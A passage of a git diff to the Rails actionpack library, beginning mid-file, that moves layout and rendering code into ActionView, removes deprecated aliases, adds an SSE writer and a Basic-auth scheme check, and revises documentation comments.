-        # set by the <tt>layout</tt> method.
-        #
-        # ==== Returns
-        # * <tt> Boolean</tt> - True if the action has a layout definition, false otherwise.
-        def _conditional_layout?
-          return unless super
-
-          conditions = _layout_conditions
-
-          if only = conditions[:only]
-            only.include?(action_name)
-          elsif except = conditions[:except]
-            !except.include?(action_name)
-          else
-            true
-          end
-        end
-      end
-
-      # Specify the layout to use for this class.
-      #
-      # If the specified layout is a:
-      # String:: the String is the template name
-      # Symbol:: call the method specified by the symbol, which will return the template name
-      # false::  There is no layout
-      # true::   raise an ArgumentError
-      # nil::    Force default layout behavior with inheritance
-      #
-      # ==== Parameters
-      # * <tt>layout</tt> - The layout to use.
-      #
-      # ==== Options (conditions)
-      # * :only   - A list of actions to apply this layout to.
-      # * :except - Apply this layout to all actions but this one.
-      def layout(layout, conditions = {})
-        include LayoutConditions unless conditions.empty?
-
-        conditions.each {|k, v| conditions[k] = Array(v).map {|a| a.to_s} }
-        self._layout_conditions = conditions
-
-        self._layout = layout
-        _write_layout_method
-      end
-
-      # If no layout is supplied, look for a template named the return
-      # value of this method.
-      #
-      # ==== Returns
-      # * <tt>String</tt> - A template name
-      def _implied_layout_name # :nodoc:
-        controller_path
-      end
-
-      # Creates a _layout method to be called by _default_layout .
-      #
-      # If a layout is not explicitly mentioned then look for a layout with the controller's name.
-      # if nothing is found then try same procedure to find super class's layout.
-      def _write_layout_method # :nodoc:
-        remove_possible_method(:_layout)
-
-        prefixes    = _implied_layout_name =~ /\blayouts/ ? [] : ["layouts"]
-        default_behavior = "lookup_context.find_all('#{_implied_layout_name}', #{prefixes.inspect}).first || super"
-        name_clause = if name
-          default_behavior
-        else
-          <<-RUBY
-            super
-          RUBY
-        end
-
-        layout_definition = case _layout
-          when String
-            _layout.inspect
-          when Symbol
-            <<-RUBY
-              #{_layout}.tap do |layout|
-                return #{default_behavior} if layout.nil?
-                unless layout.is_a?(String) || !layout
-                  raise ArgumentError, "Your layout method :#{_layout} returned \#{layout}. It " \
-                    "should have returned a String, false, or nil"
-                end
-              end
-            RUBY
-          when Proc
-            define_method :_layout_from_proc, &_layout
-            protected :_layout_from_proc
-            <<-RUBY
-              result = _layout_from_proc(#{_layout.arity == 0 ? '' : 'self'})
-              return #{default_behavior} if result.nil?
-              result
-            RUBY
-          when false
-            nil
-          when true
-            raise ArgumentError, "Layouts must be specified as a String, Symbol, Proc, false, or nil"
-          when nil
-            name_clause
-        end
-
-        self.class_eval <<-RUBY, __FILE__, __LINE__ + 1
-          def _layout
-            if _conditional_layout?
-              #{layout_definition}
-            else
-              #{name_clause}
-            end
-          end
-          private :_layout
-        RUBY
-      end
-    end
-
-    def _normalize_options(options) # :nodoc:
-      super
-
-      if _include_layout?(options)
-        layout = options.delete(:layout) { :default }
-        options[:layout] = _layout_for_option(layout)
-      end
-    end
-
-    attr_internal_writer :action_has_layout
-
-    def initialize(*) # :nodoc:
-      @_action_has_layout = true
-      super
-    end
-
-    # Controls whether an action should be rendered using a layout.
-    # If you want to disable any <tt>layout</tt> settings for the
-    # current action so that it is rendered without a layout then
-    # either override this method in your controller to return false
-    # for that action or set the <tt>action_has_layout</tt> attribute
-    # to false before rendering.
-    def action_has_layout?
-      @_action_has_layout
-    end
-
-  private
-
-    def _conditional_layout?
-      true
-    end
-
-    # This will be overwritten by _write_layout_method
-    def _layout; end
-
-    # Determine the layout for a given name, taking into account the name type.
-    #
-    # ==== Parameters
-    # * <tt>name</tt> - The name of the template
-    def _layout_for_option(name)
-      case name
-      when String     then _normalize_layout(name)
-      when Proc       then name
-      when true       then Proc.new { _default_layout(true)  }
-      when :default   then Proc.new { _default_layout(false) }
-      when false, nil then nil
-      else
-        raise ArgumentError,
-          "String, Proc, :default, true, or false, expected for `layout'; you passed #{name.inspect}"
-      end
-    end
-
-    def _normalize_layout(value)
-      value.is_a?(String) && value !~ /\blayouts/ ? "layouts/#{value}" : value
-    end
-
-    # Returns the default layout for this controller.
-    # Optionally raises an exception if the layout could not be found.
-    #
-    # ==== Parameters
-    # * <tt>require_layout</tt> - If set to true and layout is not found,
-    #   an ArgumentError exception is raised (defaults to false)
-    #
-    # ==== Returns
-    # * <tt>template</tt> - The template object for the default layout (or nil)
-    def _default_layout(require_layout = false)
-      begin
-        value = _layout if action_has_layout?
-      rescue NameError => e
-        raise e, "Could not render layout: #{e.message}"
-      end
-
-      if require_layout && action_has_layout? && !value
-        raise ArgumentError,
-          "There was no default layout for #{self.class} in #{view_paths.inspect}"
-      end
-
-      _normalize_layout(value)
-    end
-
-    def _include_layout?(options)
-      (options.keys & [:text, :inline, :partial]).empty? || options.key?(:layout)
-    end
-  end
-end
diff --git a/actionpack/lib/abstract_controller/rendering.rb b/actionpack/lib/abstract_controller/rendering.rb
index 3f34add..9d10140 100644
--- a/actionpack/lib/abstract_controller/rendering.rb
+++ b/actionpack/lib/abstract_controller/rendering.rb
@@ -1,5 +1,8 @@
-require "abstract_controller/base"
-require "action_view"
+require 'active_support/concern'
+require 'active_support/core_ext/class/attribute'
+require 'action_view'
+require 'action_view/view_paths'
+require 'set'
 
 module AbstractController
   class DoubleRenderError < Error
@@ -10,91 +13,18 @@ module AbstractController
     end
   end
 
-  # This is a class to fix I18n global state. Whenever you provide I18n.locale during a request,
-  # it will trigger the lookup_context and consequently expire the cache.
-  class I18nProxy < ::I18n::Config #:nodoc:
-    attr_reader :original_config, :lookup_context
-
-    def initialize(original_config, lookup_context)
-      original_config = original_config.original_config if original_config.respond_to?(:original_config)
-      @original_config, @lookup_context = original_config, lookup_context
-    end
-
-    def locale
-      @original_config.locale
-    end
-
-    def locale=(value)
-      @lookup_context.locale = value
-    end
-  end
-
   module Rendering
     extend ActiveSupport::Concern
-    include AbstractController::ViewPaths
-
-    included do
-      class_attribute :protected_instance_variables
-      self.protected_instance_variables = []
-    end
-
-    # Overwrite process to setup I18n proxy.
-    def process(*) #:nodoc:
-      old_config, I18n.config = I18n.config, I18nProxy.new(I18n.config, lookup_context)
-      super
-    ensure
-      I18n.config = old_config
-    end
-
-    module ClassMethods
-      def view_context_class
-        @view_context_class ||= begin
-          routes = respond_to?(:_routes) && _routes
-          helpers = respond_to?(:_helpers) && _helpers
-
-          Class.new(ActionView::Base) do
-            if routes
-              include routes.url_helpers
-              include routes.mounted_helpers
-            end
-
-            if helpers
-              include helpers
-            end
-          end
-        end
-      end
-    end
-
-    attr_internal_writer :view_context_class
-
-    def view_context_class
-      @_view_context_class ||= self.class.view_context_class
-    end
-
-    # An instance of a view class. The default view class is ActionView::Base
-    #
-    # The view class must have the following methods:
-    # View.new[lookup_context, assigns, controller]
-    #   Create a new ActionView instance for a controller
-    # View#render[options]
-    #   Returns String with the rendered template
-    #
-    # Override this method in a module to change the default behavior.
-    def view_context
-      view_context_class.new(view_renderer, view_assigns, self)
-    end
-
-    # Returns an object that is able to render templates.
-    def view_renderer
-      @_view_renderer ||= ActionView::Renderer.new(lookup_context)
-    end
+    include ActionView::ViewPaths
 
     # Normalize arguments, options and then delegates render_to_body and
     # sticks the result in self.response_body.
+    # :api: public
     def render(*args, &block)
       options = _normalize_render(*args, &block)
       self.response_body = render_to_body(options)
+      _process_format(rendered_format, options) if rendered_format
+      self.response_body
     end
 
     # Raw rendering of a template to a string.
@@ -113,84 +43,78 @@ module AbstractController
       render_to_body(options)
     end
 
-    # Raw rendering of a template.
-    # :api: plugin
+    # Performs the actual template rendering.
+    # :api: public
     def render_to_body(options = {})
-      _process_options(options)
-      _render_template(options)
     end
 
-    # Find and renders a template based on the options given.
-    # :api: private
-    def _render_template(options) #:nodoc:
-      lookup_context.rendered_format = nil if options[:formats]
-      view_renderer.render(view_context, options)
+    # Returns Content-Type of rendered content
+    # :api: public
+    def rendered_format
+      Mime::TEXT
     end
 
-    DEFAULT_PROTECTED_INSTANCE_VARIABLES = [
-      :@_action_name, :@_response_body, :@_formats, :@_prefixes, :@_config,
-      :@_view_context_class, :@_view_renderer, :@_lookup_context
-    ]
+    DEFAULT_PROTECTED_INSTANCE_VARIABLES = Set.new %w(
+      @_action_name @_response_body @_formats @_prefixes @_config
+      @_view_context_class @_view_renderer @_lookup_context
+      @_routes @_db_runtime
+    ).map(&:to_sym)
 
     # This method should return a hash with assigns.
     # You can overwrite this configuration per controller.
     # :api: public
     def view_assigns
-      hash = {}
-      variables  = instance_variables
-      variables -= protected_instance_variables
-      variables -= DEFAULT_PROTECTED_INSTANCE_VARIABLES
-      variables.each { |name| hash[name[1..-1]] = instance_variable_get(name) }
-      hash
-    end
-
-    private
+      protected_vars = _protected_ivars
+      variables      = instance_variables
 
-    # Normalize args and options.
-    # :api: private
-    def _normalize_render(*args, &block)
-      options = _normalize_args(*args, &block)
-      _normalize_options(options)
-      options
+      variables.reject! { |s| protected_vars.include? s }
+      variables.each_with_object({}) { |name, hash|
+        hash[name.slice(1, name.length)] = instance_variable_get(name)
+      }
     end
 
     # Normalize args by converting render "foo" to render :action => "foo" and
     # render "foo/bar" to render :file => "foo/bar".
     # :api: plugin
     def _normalize_args(action=nil, options={})
-      case action
-      when NilClass
-      when Hash
-        options = action
-      when String, Symbol
-        action = action.to_s
-        key = action.include?(?/) ? :file : :action
-        options[key] = action
+      if action.is_a? Hash
+        action
       else
-        options[:partial] = action
+        options
       end
-
-      options
     end
 
     # Normalize options.
     # :api: plugin
     def _normalize_options(options)
-      if options[:partial] == true
-        options[:partial] = action_name
-      end
-
-      if (options.keys & [:partial, :file, :template]).empty?
-        options[:prefixes] ||= _prefixes
-      end
-
-      options[:template] ||= (options[:action] || action_name).to_s
       options
     end
 
     # Process extra options.
     # :api: plugin
     def _process_options(options)
+      options
+    end
+
+    # Process the rendered format.
+    # :api: private
+    def _process_format(format, options = {})
+    end
+
+    # Normalize args and options.
+    # :api: private
+    def _normalize_render(*args, &block)
+      options = _normalize_args(*args, &block)
+      #TODO: remove defined? when we restore AP <=> AV dependency
+      if defined?(request) && request && request.variant.present?
+        options[:variant] = request.variant
+      end
+      _normalize_options(options)
+      options
+    end
+
+    def _protected_ivars # :nodoc:
+      DEFAULT_PROTECTED_INSTANCE_VARIABLES
     end
   end
 end
diff --git a/actionpack/lib/abstract_controller/view_paths.rb b/actionpack/lib/abstract_controller/view_paths.rb
deleted file mode 100644
index c08b3a0..0000000
--- a/actionpack/lib/abstract_controller/view_paths.rb
+++ /dev/null
@@ -1,96 +0,0 @@
-require 'action_view/base'
-
-module AbstractController
-  module ViewPaths
-    extend ActiveSupport::Concern
-
-    included do
-      class_attribute :_view_paths
-      self._view_paths = ActionView::PathSet.new
-      self._view_paths.freeze
-    end
-
-    delegate :template_exists?, :view_paths, :formats, :formats=,
-             :locale, :locale=, :to => :lookup_context
-
-    module ClassMethods
-      def parent_prefixes
-        @parent_prefixes ||= begin
-          parent_controller = superclass
-          prefixes = []
-
-          until parent_controller.abstract?
-            prefixes << parent_controller.controller_path
-            parent_controller = parent_controller.superclass
-          end
-
-          prefixes
-        end
-      end
-    end
-
-    # The prefixes used in render "foo" shortcuts.
-    def _prefixes
-      @_prefixes ||= begin
-        parent_prefixes = self.class.parent_prefixes
-        parent_prefixes.dup.unshift(controller_path)
-      end
-    end
-
-    # LookupContext is the object responsible to hold all information required to lookup
-    # templates, i.e. view paths and details. Check ActionView::LookupContext for more
-    # information.
-    def lookup_context
-      @_lookup_context ||=
-        ActionView::LookupContext.new(self.class._view_paths, details_for_lookup, _prefixes)
-    end
-
-    def details_for_lookup
-      { }
-    end
-
-    def append_view_path(path)
-      lookup_context.view_paths.push(*path)
-    end
-
-    def prepend_view_path(path)
-      lookup_context.view_paths.unshift(*path)
-    end
-
-    module ClassMethods
-      # Append a path to the list of view paths for this controller.
-      #
-      # ==== Parameters
-      # * <tt>path</tt> - If a String is provided, it gets converted into
-      #   the default view path. You may also provide a custom view path
-      #   (see ActionView::PathSet for more information)
-      def append_view_path(path)
-        self._view_paths = view_paths + Array(path)
-      end
-
-      # Prepend a path to the list of view paths for this controller.
-      #
-      # ==== Parameters
-      # * <tt>path</tt> - If a String is provided, it gets converted into
-      #   the default view path. You may also provide a custom view path
-      #   (see ActionView::PathSet for more information)
-      def prepend_view_path(path)
-        self._view_paths = ActionView::PathSet.new(Array(path) + view_paths)
-      end
-
-      # A list of all of the default view paths for this controller.
-      def view_paths
-        _view_paths
-      end
-
-      # Set the view paths.
-      #
-      # ==== Parameters
-      # * <tt>paths</tt> - If a PathSet is provided, use that;
-      #   otherwise, process the parameter into a PathSet.
-      def view_paths=(paths)
-        self._view_paths = ActionView::PathSet.new(Array(paths))
-      end
-    end
-  end
-end
diff --git a/actionpack/lib/action_controller.rb b/actionpack/lib/action_controller.rb
index 9cacb38..50bc26a 100644
--- a/actionpack/lib/action_controller.rb
+++ b/actionpack/lib/action_controller.rb
@@ -40,33 +40,17 @@ module ActionController
     autoload :UrlFor
   end
 
-  autoload :Integration,        'action_controller/deprecated/integration_test'
-  autoload :IntegrationTest,    'action_controller/deprecated/integration_test'
-  autoload :Routing,            'action_controller/deprecated'
   autoload :TestCase,           'action_controller/test_case'
   autoload :TemplateAssertions, 'action_controller/test_case'
 
-  eager_autoload do
-    autoload :RecordIdentifier
-  end
-
   def self.eager_load!
     super
     ActionController::Caching.eager_load!
-    HTML.eager_load!
   end
 end
 
-# All of these simply register additional autoloads
-require 'action_view'
-require 'action_view/vendor/html-scanner'
-
-ActiveSupport.on_load(:action_view) do
-  ActionView::RoutingUrlFor.send(:include, ActionDispatch::Routing::UrlFor)
-end
-
 # Common Active Support usage in Action Controller
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
 require 'active_support/core_ext/load_error'
 require 'active_support/core_ext/module/attr_internal'
 require 'active_support/core_ext/name_error'
diff --git a/actionpack/lib/action_controller/base.rb b/actionpack/lib/action_controller/base.rb
index c623d7e..e6fe6b0 100644
--- a/actionpack/lib/action_controller/base.rb
+++ b/actionpack/lib/action_controller/base.rb
@@ -1,9 +1,10 @@
+require 'action_view'
 require "action_controller/log_subscriber"
 require "action_controller/metal/params_wrapper"
 
 module ActionController
   # Action Controllers are the core of a web request in \Rails. They are made up of one or more actions that are executed
-  # on request and then either render a template or redirect to another action. An action is defined as a public method
+  # on request and then either it renders a template or redirects to another action. An action is defined as a public method
   # on the controller, which will automatically be made accessible to the web-server through \Rails Routes.
   #
   # By default, only the ApplicationController in a \Rails application inherits from <tt>ActionController::Base</tt>. All other
@@ -44,7 +45,7 @@ module ActionController
   #
   #   def server_ip
   #     location = request.env["SERVER_ADDR"]
-  #     render text: "This server hosted at #{location}"
+  #     render plain: "This server hosted at #{location}"
   #   end
   #
   # == Parameters
@@ -85,7 +86,7 @@ module ActionController
   # or you can remove the entire session with +reset_session+.
   #
   # Sessions are stored by default in a browser cookie that's cryptographically signed, but unencrypted.
-  # This prevents the user from tampering with the session but also allows him to see its contents.
+  # This prevents the user from tampering with the session but also allows them to see its contents.
   #
   # Do not put secret information in cookie-based sessions!
   #
@@ -200,7 +201,7 @@ module ActionController
     end
 
     MODULES = [
-      AbstractController::Layouts,
+      AbstractController::Rendering,
       AbstractController::Translation,
       AbstractController::AssetPaths,
 
@@ -208,6 +209,7 @@ module ActionController
       HideActions,
       UrlFor,
       Redirecting,
+      ActionView::Layouts,
       Rendering,
       Renderers::All,
       ConditionalGet,
@@ -223,7 +225,6 @@ module ActionController
       ForceSSL,
       Streaming,
       DataStreaming,
-      RecordIdentifier,
       HttpAuthentication::Basic::ControllerMethods,
       HttpAuthentication::Digest::ControllerMethods,
       HttpAuthentication::Token::ControllerMethods,
@@ -249,10 +250,17 @@ module ActionController
     end
 
     # Define some internal variables that should not be propagated to the view.
-    self.protected_instance_variables = [
+    PROTECTED_IVARS = AbstractController::Rendering::DEFAULT_PROTECTED_INSTANCE_VARIABLES + [
       :@_status, :@_headers, :@_params, :@_env, :@_response, :@_request,
-      :@_view_runtime, :@_stream, :@_url_options, :@_action_has_layout
-    ]
+      :@_view_runtime, :@_stream, :@_url_options, :@_action_has_layout ]
+
+    def _protected_ivars # :nodoc:
+      PROTECTED_IVARS
+    end
+
+    def self.protected_instance_variables
+      PROTECTED_IVARS
+    end
 
     ActiveSupport.run_load_hooks(:action_controller, self)
   end
diff --git a/actionpack/lib/action_controller/caching.rb b/actionpack/lib/action_controller/caching.rb
index ea33d97..12d798d 100644
--- a/actionpack/lib/action_controller/caching.rb
+++ b/actionpack/lib/action_controller/caching.rb
@@ -9,7 +9,7 @@ module ActionController
   # You can read more about each approach by clicking the modules below.
   #
   # Note: To turn off all caching, set
-  #   config.action_controller.perform_caching = false.
+  #   config.action_controller.perform_caching = false
   #
   # == \Caching stores
   #
@@ -58,16 +58,6 @@ module ActionController
       config_accessor :default_static_extension
       self.default_static_extension ||= '.html'
 
-      def self.page_cache_extension=(extension)
-        ActiveSupport::Deprecation.deprecation_warning(:page_cache_extension, :default_static_extension)
-        self.default_static_extension = extension
-      end
-
-      def self.page_cache_extension
-        ActiveSupport::Deprecation.deprecation_warning(:page_cache_extension, :default_static_extension)
-        default_static_extension
-      end
-
       config_accessor :perform_caching
       self.perform_caching = true if perform_caching.nil?
 
diff --git a/actionpack/lib/action_controller/deprecated.rb b/actionpack/lib/action_controller/deprecated.rb
deleted file mode 100644
index 2405beb..0000000
--- a/actionpack/lib/action_controller/deprecated.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-ActionController::AbstractRequest = ActionController::Request = ActionDispatch::Request
-ActionController::AbstractResponse = ActionController::Response = ActionDispatch::Response
-ActionController::Routing = ActionDispatch::Routing
-
-ActiveSupport::Deprecation.warn 'ActionController::AbstractRequest and ActionController::Request are deprecated and will be removed, use ActionDispatch::Request instead.'
-ActiveSupport::Deprecation.warn 'ActionController::AbstractResponse and ActionController::Response are deprecated and will be removed, use ActionDispatch::Response instead.'
-ActiveSupport::Deprecation.warn 'ActionController::Routing is deprecated and will be removed, use ActionDispatch::Routing instead.'
\ No newline at end of file
diff --git a/actionpack/lib/action_controller/deprecated/integration_test.rb b/actionpack/lib/action_controller/deprecated/integration_test.rb
deleted file mode 100644
index 54eae48..0000000
--- a/actionpack/lib/action_controller/deprecated/integration_test.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-ActionController::Integration = ActionDispatch::Integration
-ActionController::IntegrationTest = ActionDispatch::IntegrationTest
-
-ActiveSupport::Deprecation.warn 'ActionController::Integration is deprecated and will be removed, use ActionDispatch::Integration instead.'
-ActiveSupport::Deprecation.warn 'ActionController::IntegrationTest is deprecated and will be removed, use ActionDispatch::IntegrationTest instead.'
diff --git a/actionpack/lib/action_controller/log_subscriber.rb b/actionpack/lib/action_controller/log_subscriber.rb
index 7318c8b..6ef8002 100644
--- a/actionpack/lib/action_controller/log_subscriber.rb
+++ b/actionpack/lib/action_controller/log_subscriber.rb
@@ -33,7 +33,7 @@ module ActionController
     end
 
     def halted_callback(event)
-      info("Filter chain halted as #{event.payload[:filter]} rendered or redirected")
+      info("Filter chain halted as #{event.payload[:filter].inspect} rendered or redirected")
     end
 
     def send_file(event)
@@ -53,6 +53,15 @@ module ActionController
       debug("Unpermitted parameters: #{unpermitted_keys.join(", ")}")
     end
 
+    def deep_munge(event)
+      message = "Value for params[:#{event.payload[:keys].join('][:')}] was set "\
+                "to nil, because it was one of [], [null] or [null, null, ...]. "\
+                "Go to http://guides.rubyonrails.org/security.html#unsafe-query-generation "\
+                "for more information."\
+
+      debug(message)
+    end
+
     %w(write_fragment read_fragment exist_fragment?
        expire_fragment expire_page write_page).each do |method|
       class_eval <<-METHOD, __FILE__, __LINE__ + 1
diff --git a/actionpack/lib/action_controller/metal.rb b/actionpack/lib/action_controller/metal.rb
index b84c9e7..696fbf6 100644
--- a/actionpack/lib/action_controller/metal.rb
+++ b/actionpack/lib/action_controller/metal.rb
@@ -70,7 +70,8 @@ module ActionController
   # can do the following:
   #
   #   class HelloController < ActionController::Metal
-  #     include ActionController::Rendering
+  #     include AbstractController::Rendering
+  #     include ActionView::Layouts
   #     append_view_path "#{Rails.root}/app/views"
   #
   #     def index
@@ -231,5 +232,9 @@ module ActionController
         new.dispatch(name, klass.new(env))
       end
     end
+
+    def _status_code
+      @_status
+    end
   end
 end
diff --git a/actionpack/lib/action_controller/metal/data_streaming.rb b/actionpack/lib/action_controller/metal/data_streaming.rb
index 75c4d3e..1abd8d3 100644
--- a/actionpack/lib/action_controller/metal/data_streaming.rb
+++ b/actionpack/lib/action_controller/metal/data_streaming.rb
@@ -96,7 +96,7 @@ module ActionController #:nodoc:
       end
 
       # Sends the given binary data to the browser. This method is similar to
-      # <tt>render text: data</tt>, but also allows you to specify whether
+      # <tt>render plain: data</tt>, but also allows you to specify whether
       # the browser should display the response as a file attachment (i.e. in a
       # download dialog) or as inline data. You may also set the content type,
       # the apparent file name, and other things.
diff --git a/actionpack/lib/action_controller/metal/flash.rb b/actionpack/lib/action_controller/metal/flash.rb
index 875315e..6535128 100644
--- a/actionpack/lib/action_controller/metal/flash.rb
+++ b/actionpack/lib/action_controller/metal/flash.rb
@@ -11,6 +11,23 @@ module ActionController #:nodoc:
     end
 
     module ClassMethods
+      # Creates new flash types. You can pass as many types as you want to create
+      # flash types other than the default <tt>alert</tt> and <tt>notice</tt> in
+      # your controllers and views. For instance:
+      #
+      #   # in application_controller.rb
+      #   class ApplicationController < ActionController::Base
+      #     add_flash_types :warning
+      #   end
+      #
+      #   # in your controller
+      #   redirect_to user_path(@user), warning: "Incomplete profile"
+      #
+      #   # in your view
+      #   <%= warning %>
+      #
+      # This method will automatically define a new method for each of the given
+      # names, and it will be available in your views.
       def add_flash_types(*types)
         types.each do |type|
           next if _flash_types.include?(type)
diff --git a/actionpack/lib/action_controller/metal/force_ssl.rb b/actionpack/lib/action_controller/metal/force_ssl.rb
index b8afce4..a2cb6d1 100644
--- a/actionpack/lib/action_controller/metal/force_ssl.rb
+++ b/actionpack/lib/action_controller/metal/force_ssl.rb
@@ -48,7 +48,7 @@ module ActionController
       # You can pass any of the following options to affect the redirect status and response
       # * <tt>status</tt>     - Redirect with a custom status (default is 301 Moved Permanently)
       # * <tt>flash</tt>      - Set a flash message when redirecting
-      # * <tt>alert</tt>      - Set a alert message when redirecting
+      # * <tt>alert</tt>      - Set an alert message when redirecting
       # * <tt>notice</tt>     - Set a notice message when redirecting
       #
       # ==== Action Options
diff --git a/actionpack/lib/action_controller/metal/head.rb b/actionpack/lib/action_controller/metal/head.rb
index 8237db1..84a9112 100644
--- a/actionpack/lib/action_controller/metal/head.rb
+++ b/actionpack/lib/action_controller/metal/head.rb
@@ -1,8 +1,6 @@
 module ActionController
   module Head
-    extend ActiveSupport::Concern
-
-    # Return a response that has no content (merely headers). The options
+    # Returns a response that has no content (merely headers). The options
     # argument is interpreted to be a hash of header names and values.
     # This allows you to easily return a response that consists only of
     # significant headers:
@@ -29,7 +27,7 @@ module ActionController
       self.status = status
       self.location = url_for(location) if location
 
-      if include_content?(self.status)
+      if include_content?(self._status_code)
         self.content_type = content_type || (Mime[formats.first] if formats)
         self.response.charset = false if self.response
         self.response_body = " "
diff --git a/actionpack/lib/action_controller/metal/helpers.rb b/actionpack/lib/action_controller/metal/helpers.rb
index 243fd40..a9c3e43 100644
--- a/actionpack/lib/action_controller/metal/helpers.rb
+++ b/actionpack/lib/action_controller/metal/helpers.rb
@@ -5,7 +5,7 @@ module ActionController
   #
   # In addition to using the standard template helpers provided, creating custom helpers to
   # extract complicated logic or reusable functionality is strongly encouraged. By default, each controller
-  # will include all helpers.
+  # will include all helpers. These helpers are only accessible on the controller through <tt>.helpers</tt>
   #
   # In previous versions of \Rails the controller will include a helper whose
   # name matches that of the controller, e.g., <tt>MyController</tt> will automatically
@@ -73,7 +73,11 @@ module ActionController
 
       # Provides a proxy to access helpers methods from outside the view.
       def helpers
-        @helper_proxy ||= ActionView::Base.new.extend(_helpers)
+        @helper_proxy ||= begin 
+          proxy = ActionView::Base.new
+          proxy.config = config.inheritable_copy
+          proxy.extend(_helpers)
+        end
       end
 
       # Overwrite modules_for_helpers to accept :all as argument, which loads
diff --git a/actionpack/lib/action_controller/metal/http_authentication.rb b/actionpack/lib/action_controller/metal/http_authentication.rb
index 158d552..3111992 100644
--- a/actionpack/lib/action_controller/metal/http_authentication.rb
+++ b/actionpack/lib/action_controller/metal/http_authentication.rb
@@ -11,11 +11,11 @@ module ActionController
     #     http_basic_authenticate_with name: "dhh", password: "secret", except: :index
     #
     #     def index
-    #       render text: "Everyone can see me!"
+    #       render plain: "Everyone can see me!"
     #     end
     #
     #     def edit
-    #       render text: "I'm only accessible if you know the password"
+    #       render plain: "I'm only accessible if you know the password"
     #     end
     #  end
     #
@@ -90,17 +90,29 @@ module ActionController
       end
 
       def authenticate(request, &login_procedure)
-        unless request.authorization.blank?
+        if has_basic_credentials?(request)
           login_procedure.call(*user_name_and_password(request))
         end
       end
 
+      def has_basic_credentials?(request)
+        request.authorization.present? && (auth_scheme(request) == 'Basic')
+      end
+
       def user_name_and_password(request)
-        decode_credentials(request).split(/:/, 2)
+        decode_credentials(request).split(':', 2)
       end
 
       def decode_credentials(request)
-        ::Base64.decode64(request.authorization.split(' ', 2).last || '')
+        ::Base64.decode64(auth_param(request) || '')
+      end
+
+      def auth_scheme(request)
+        request.authorization.split(' ', 2).first
+      end
+
+      def auth_param(request)
+        request.authorization.split(' ', 2).second
       end
 
       def encode_credentials(user_name, password)
@@ -127,11 +139,11 @@ module ActionController
     #     before_action :authenticate, except: [:index]
     #
     #     def index
-    #       render text: "Everyone can see me!"
+    #       render plain: "Everyone can see me!"
     #     end
     #
     #     def edit
-    #       render text: "I'm only accessible if you know the password"
+    #       render plain: "I'm only accessible if you know the password"
     #     end
     #
     #     private
@@ -321,11 +333,11 @@ module ActionController
     #     before_action :authenticate, except: [ :index ]
     #
     #     def index
-    #       render text: "Everyone can see me!"
+    #       render plain: "Everyone can see me!"
     #     end
     #
     #     def edit
-    #       render text: "I'm only accessible if you know the password"
+    #       render plain: "I'm only accessible if you know the password"
     #     end
     #
     #     private
diff --git a/actionpack/lib/action_controller/metal/instrumentation.rb b/actionpack/lib/action_controller/metal/instrumentation.rb
index d3aa8f9..b0e164b 100644
--- a/actionpack/lib/action_controller/metal/instrumentation.rb
+++ b/actionpack/lib/action_controller/metal/instrumentation.rb
@@ -67,7 +67,7 @@ module ActionController
 
   private
 
-    # A hook invoked everytime a before callback is halted.
+    # A hook invoked every time a before callback is halted.
     def halted_callback_hook(filter)
       ActiveSupport::Notifications.instrument("halted_callback.action_controller", :filter => filter)
     end
diff --git a/actionpack/lib/action_controller/metal/live.rb b/actionpack/lib/action_controller/metal/live.rb
index 8092fd6..acf40b2 100644
--- a/actionpack/lib/action_controller/metal/live.rb
+++ b/actionpack/lib/action_controller/metal/live.rb
@@ -1,5 +1,6 @@
 require 'action_dispatch/http/response'
 require 'delegate'
+require 'active_support/json'
 
 module ActionController
   # Mix this module in to your controller, and all actions in that controller
@@ -32,9 +33,85 @@ module ActionController
   # the main thread. Make sure your actions are thread safe, and this shouldn't
   # be a problem (don't share state across threads, etc).
   module Live
+    # This class provides the ability to write an SSE (Server Sent Event)
+    # to an IO stream. The class is initialized with a stream and can be used
+    # to either write a JSON string or an object which can be converted to JSON.
+    #
+    # Writing an object will convert it into standard SSE format with whatever
+    # options you have configured. You may choose to set the following options:
+    #
+    #   1) Event. If specified, an event with this name will be dispatched on
+    #   the browser.
+    #   2) Retry. The reconnection time in milliseconds used when attempting
+    #   to send the event.
+    #   3) Id. If the connection dies while sending an SSE to the browser, then
+    #   the server will receive a +Last-Event-ID+ header with value equal to +id+.
+    #
+    # After setting an option in the constructor of the SSE object, all future
+    # SSEs sent across the stream will use those options unless overridden.
+    #
+    # Example Usage:
+    #
+    #   class MyController < ActionController::Base
+    #     include ActionController::Live
+    #
+    #     def index
+    #       response.headers['Content-Type'] = 'text/event-stream'
+    #       sse = SSE.new(response.stream, retry: 300, event: "event-name")
+    #       sse.write({ name: 'John'})
+    #       sse.write({ name: 'John'}, id: 10)
+    #       sse.write({ name: 'John'}, id: 10, event: "other-event")
+    #       sse.write({ name: 'John'}, id: 10, event: "other-event", retry: 500)
+    #     ensure
+    #       sse.close
+    #     end
+    #   end
+    #
+    # Note: SSEs are not currently supported by IE. However, they are supported
+    # by Chrome, Firefox, Opera, and Safari.
+    class SSE
+
+      WHITELISTED_OPTIONS = %w( retry event id )
+
+      def initialize(stream, options = {})
+        @stream = stream
+        @options = options
+      end
+
+      def close
+        @stream.close
+      end
+
+      def write(object, options = {})
+        case object
+        when String
+          perform_write(object, options)
+        else
+          perform_write(ActiveSupport::JSON.encode(object), options)
+        end
+      end
+
+      private
+
+        def perform_write(json, options)
+          current_options = @options.merge(options).stringify_keys
+
+          WHITELISTED_OPTIONS.each do |option_name|
+            if (option_value = current_options[option_name])
+              @stream.write "#{option_name}: #{option_value}\n"
+            end
+          end
+
+          @stream.write "data: #{json}\n\n"
+        end
+    end
+
     class Buffer < ActionDispatch::Response::Buffer #:nodoc:
+      include MonitorMixin
+
       def initialize(response)
-        @error_callback = nil
+        @error_callback = lambda { true }
+        @cv = new_cond
         super(response, SizedQueue.new(10))
       end
 
@@ -48,14 +125,25 @@ module ActionController
       end
 
       def each
+        @response.sending!
         while str = @buf.pop
           yield str
         end
+        @response.sent!
       end
 
       def close
-        super
-        @buf.push nil
+        synchronize do
+          super
+          @buf.push nil
+          @cv.broadcast
+        end
+      end
+
+      def await_close
+        synchronize do
+          @cv.wait_until { @closed }
+        end
       end
 
       def on_error(&block)
@@ -91,12 +179,20 @@ module ActionController
         end
       end
 
-      def commit!
-        headers.freeze
+      private
+
+      def before_committed
         super
+        jar = request.cookie_jar
+        # The response can be committed multiple times
+        jar.write self unless committed?
       end
